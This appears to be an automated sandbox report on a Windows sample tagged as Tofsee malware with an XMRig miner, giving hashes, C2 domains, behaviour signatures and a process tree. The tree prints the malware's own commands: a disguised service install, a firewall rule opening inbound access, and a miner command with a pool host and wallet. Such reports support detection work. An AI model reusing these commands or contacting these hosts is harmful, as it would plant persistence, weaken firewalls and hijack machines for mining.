Analysis

  • max time kernel
    299s
  • max time network
    307s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    05/11/2023, 22:22

General

  • Target

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe

  • Size

    251KB

  • MD5

    706117d683f58e36b97b72e170ace5d8

  • SHA1

    f7d0f88554f43728cc36078a9cd51134140da639

  • SHA256

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a

  • SHA512

    e4d0845ac027403b2cb2cb553c950a260a9adc4cd937545b83491d7feac6fe0b5b6878146fcabaf3096fe8ed2f0d94ddbe015f743605f027c2b4f8eefd2d9add

  • SSDEEP

    3072:Hbh7GhyIw5+DY0ZSPw2IKyHJVpys16Cz1npTqfZXKkksDaVXG1OGZ4t7uEa:4EIwss0sPw2IKoHyOnp0KjsAAP4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe
    "C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\foigalp\
      2⤵
        PID:4396
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lolevxrh.exe" C:\Windows\SysWOW64\foigalp\
        2⤵
          PID:5112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create foigalp binPath= "C:\Windows\SysWOW64\foigalp\lolevxrh.exe /d\"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2848
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description foigalp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start foigalp
          2⤵
          • Launches sc.exe
          PID:1100
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1536
      • C:\Windows\SysWOW64\foigalp\lolevxrh.exe
        C:\Windows\SysWOW64\foigalp\lolevxrh.exe /d"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4604
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1416
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4416

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\lolevxrh.exe

              Filesize

              13.0MB

              MD5

              fb3e9d59642c06edab78ceaaca2fd963

              SHA1

              59439a5127949a8c07a3edf5b4c7dc37c3a5f518

              SHA256

              2296fc98d83fcdf1dad30204a3114dbb60c119b523b5711dfc8023bd9d3214a6

              SHA512

              00039e5c7945552fbddbb12b4f80549e062f0ec11f468fbfee02d698228c8e6494d6ee6d7dac647b5b8924ec03849b25675acf22b4b67febd576b3b8a2dd6efb

            • C:\Windows\SysWOW64\foigalp\lolevxrh.exe

              Filesize

              13.0MB

              MD5

              fb3e9d59642c06edab78ceaaca2fd963

              SHA1

              59439a5127949a8c07a3edf5b4c7dc37c3a5f518

              SHA256

              2296fc98d83fcdf1dad30204a3114dbb60c119b523b5711dfc8023bd9d3214a6

              SHA512

              00039e5c7945552fbddbb12b4f80549e062f0ec11f468fbfee02d698228c8e6494d6ee6d7dac647b5b8924ec03849b25675acf22b4b67febd576b3b8a2dd6efb

            • memory/1416-41-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-23-0x0000000004F50000-0x000000000515F000-memory.dmp

              Filesize

              2.1MB

            • memory/1416-20-0x0000000002FB0000-0x0000000002FC5000-memory.dmp

              Filesize

              84KB

            • memory/1416-58-0x00000000035F0000-0x00000000035F7000-memory.dmp

              Filesize

              28KB

            • memory/1416-57-0x00000000095D0000-0x00000000099DB000-memory.dmp

              Filesize

              4.0MB

            • memory/1416-54-0x00000000095D0000-0x00000000099DB000-memory.dmp

              Filesize

              4.0MB

            • memory/1416-53-0x00000000035E0000-0x00000000035E5000-memory.dmp

              Filesize

              20KB

            • memory/1416-50-0x00000000035E0000-0x00000000035E5000-memory.dmp

              Filesize

              20KB

            • memory/1416-49-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-42-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-43-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-26-0x0000000004F50000-0x000000000515F000-memory.dmp

              Filesize

              2.1MB

            • memory/1416-27-0x0000000002FE0000-0x0000000002FE6000-memory.dmp

              Filesize

              24KB

            • memory/1416-30-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-33-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-34-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-35-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-36-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-37-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-38-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-39-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-40-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-19-0x0000000002FB0000-0x0000000002FC5000-memory.dmp

              Filesize

              84KB

            • memory/1416-12-0x0000000002FB0000-0x0000000002FC5000-memory.dmp

              Filesize

              84KB

            • memory/1416-22-0x0000000002FB0000-0x0000000002FC5000-memory.dmp

              Filesize

              84KB

            • memory/1416-44-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-45-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-46-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-47-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/1416-48-0x0000000002FF0000-0x0000000003000000-memory.dmp

              Filesize

              64KB

            • memory/2648-1-0x0000000000A60000-0x0000000000B60000-memory.dmp

              Filesize

              1024KB

            • memory/2648-8-0x0000000000A10000-0x0000000000A23000-memory.dmp

              Filesize

              76KB

            • memory/2648-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2648-4-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2648-2-0x0000000000A10000-0x0000000000A23000-memory.dmp

              Filesize

              76KB

            • memory/4416-69-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-62-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-67-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-70-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-68-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-71-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-72-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-75-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-74-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4416-73-0x00000000026C0000-0x00000000027B1000-memory.dmp

              Filesize

              964KB

            • memory/4604-10-0x00000000007F0000-0x00000000008F0000-memory.dmp

              Filesize

              1024KB

            • memory/4604-11-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/4604-16-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB